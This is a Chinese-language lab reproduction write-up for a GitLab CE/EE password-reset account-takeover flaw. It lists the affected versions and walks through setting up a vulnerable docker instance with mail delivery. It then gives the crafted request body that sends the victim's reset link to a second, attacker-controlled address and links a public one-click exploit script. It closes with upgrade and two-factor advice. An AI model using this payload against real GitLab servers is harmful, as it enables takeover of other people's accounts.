漏洞简介
GitLab 是一个用于仓库管理系统的开源项目,其使用 Git 作为代码管理工具,可通过 Web 界面访问公开或私人项目。 GitLab CE/EE 中支持用户通过辅助电子邮件地址重置密码。GitLab CE/EE 多个受影响版本中,由于电子邮件验证过程中存在错误,用户帐户密码重置电子邮件可以发送到未经验证的电子邮件地址,可能导致在无需用户交互的情况下通过密码重置进行帐户接管。 CVSS3 评分为 10.0,严重。
影响版本
16.1 <= Gitlab < 16.1.6
16.2 <= Gitlab < 16.2.9
16.3 <= Gitlab < 16.3.7
16.4 <= Gitlab < 16.4.5
16.5 <= Gitlab < 16.5.6
16.6 <= Gitlab < 16.6.4
16.7 <= Gitlab < 16.7.2
环境搭建
首先在 docker 中安装 gitlab-ee:16.7.0docker pull gitlab/gitlab-ee:16.7.0-ee.0
启动容器:docker run --detach --publish 8443:443 --publish 2222:22 --publish 9999:80 --name gitlab-container --restart always --volume $GITLAB\_HOME/config:/etc/gitlab --volume $GITLAB\_HOME/logs:/var/log/gitlab --volume $GITLAB\_HOME/data:/var/opt/gitlab --shm-size 256m gitlab/gitlab-ee:16.7.0-ee.0
其中部分参数解释如下:
--detach:在后台运行
--publish 8443:443 --publish 2222:22 --publish 9999:80: 将容器内部的端口映射到宿主机上,分别将容器的443端口映射到宿主机的8443端口、容器的22端口映射到宿主机的2222端口、容器的80端口映射到宿主机的 9999端口
--restart always: 如果容器停止,Docker 会自动重新启动容器
--shm-size 256m: 设置容器中的共享内存大小为256兆字节 容器成功启动后,访问 9999 端口,以 root 登录,密码为随机值,进入容器后查看文件/etc/gitlab/initial_root_password 即可。 下面配置/etc/gitlab/gitlab.rb 文件,配置完成后,才能通过忘记密码功能发送邮件。
搜索 smtp_enable,将对应选项打开,将 smtp 邮件服务器地址改为对应的值,此处我使用的是 163 邮箱,即改为 smtp.163.com,user_name 就是发送邮箱的账户,password 为授权码:
最后将 gitlab_rails['gitlab_email_from']和 user['git_user_email']也改为发件人地址即可。 配置文件修改完成后,更新一下配置:gitlab-ctl stop
gitlab-ctl reconfigure
gitlab-ctl start
通过 gitlab-rails 测试是否配置成功:gitlab-rails console
Notify.test_email('[email protected]', 'title', 'test').deliver_now
测试邮件发送失败,提示 sendmail not found。 按照 sendmail 即可。apt-get update
apt-get install sendmail
service sendmail start
下面再次测试:
等待两分钟左右,成功接收到邮件,至此已经完成所有配置。
漏洞复现
新建一个用户,邮箱设置为 [email protected][1] ,作为受害者账户。
脚本一键利用
Fetching Data#zet5[2]
-e 后输入自己的邮箱,运行后会收到一封重置邮件,将链接复制到 cmd 中即可一键完成密码修改,默认密码为一串随机值。 成功登录:
burp 改包
点击忘记密码,输入受害者邮箱,抓包:
将 body 部分改为 user[email][]=a.com&user[email][]=b.com 即可。密码重置邮件会同时发送给 a,b 两个邮箱,从而导致密码重置。
修复方案
官方已发布安全更新,建议升级至最新版本,若无法升级,建议开启双因素认证功能。
References
[1] [email protected]: mailto:[email protected]
[2] Fetching Data#zet5: https://github.com/Vozec/CVE-2023-7028